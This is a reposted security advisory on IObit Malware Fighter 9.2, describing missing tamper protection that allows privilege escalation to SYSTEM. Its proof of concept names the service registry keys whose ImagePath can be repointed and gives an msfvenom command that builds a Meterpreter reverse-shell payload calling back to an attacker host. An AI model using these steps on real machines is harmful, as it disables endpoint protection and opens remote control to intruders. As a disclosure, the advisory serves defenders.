IObit Malware Fighter 9.2 Kerusakan / Peningkatan Hak Istimewa

  • Whatsapp
Audio Conversion Wizard 2.01 Buffer Overflow
Audio Conversion Wizard Buffer Overflow

News.nextcloud.asia

IObit Malware Fighter versi 9.2 gagal memberikan perlindungan anti-gangguan yang memadai dan kekurangan itu dapat dimanfaatkan untuk meningkatkan hak istimewa SISTEM.

SHA-256 | c6e27a8d7b7645ace9a03e1d2218ca5e5bdc9d279978795484de8145fd043895

[+] Credits: Yehia Elghaly (aka Mrvar0x)    
[+] Website: https://mrvar0x.com/
[+] Source: "https://mrvar0x.com/2022/08/02/multiple-endpoints-security-tampering-exploit/"

Vendor:
=============
www.iobit.com

Product:
===========
IObit Malware Fighter 9.2

IObit Malware Fighter is an advanced malware & spyware removal utility that detects, removes the deepest infections, and protects the PC from various of potential malware, ransomware, cryptojacking, spyware, adware, trojans, keyloggers, bots, worms, and hijackers, etc. It includes the unique "Dual-Core" engine, driver-level technology and the heuristic malware detection.
Safebox can protect users from ransomware and allow users to lock their personal data with a password.

Vulnerability Type:
===================
Missing Tamper Protection
Incorrect Authorization

CVE Reference:
==============
N/A

Security Issue:
================
IObit Malware Fighter prior to version 9.2 installed on Microsoft Windows does not provide sufficient anti-tampering protection of services by users with Administrator privileges. This could result in a user disabling IObit Malware Fighter and the protection offered by it. Also It lead to Raised privilege to SYSTEM.

That can occurred by modifying a specific registry key.
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AdvancedSystemCareService15
Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\IMFservice
Change ImagePath path to a malicious executable.

Exploit/POC:
=============
Create malicious executable through msfvenom

msfvenom -p windows/meterpreter/reverse_tcp LHOST=$LOCALIP LPORT=4444 -f exe -o meta.exe

Modify (ImagePath) with the path of the malicious executable - Restart

Network Access:
===============
Local

Severity:
=========
High

[+] Disclaimer
The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

Mrvar0x

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan.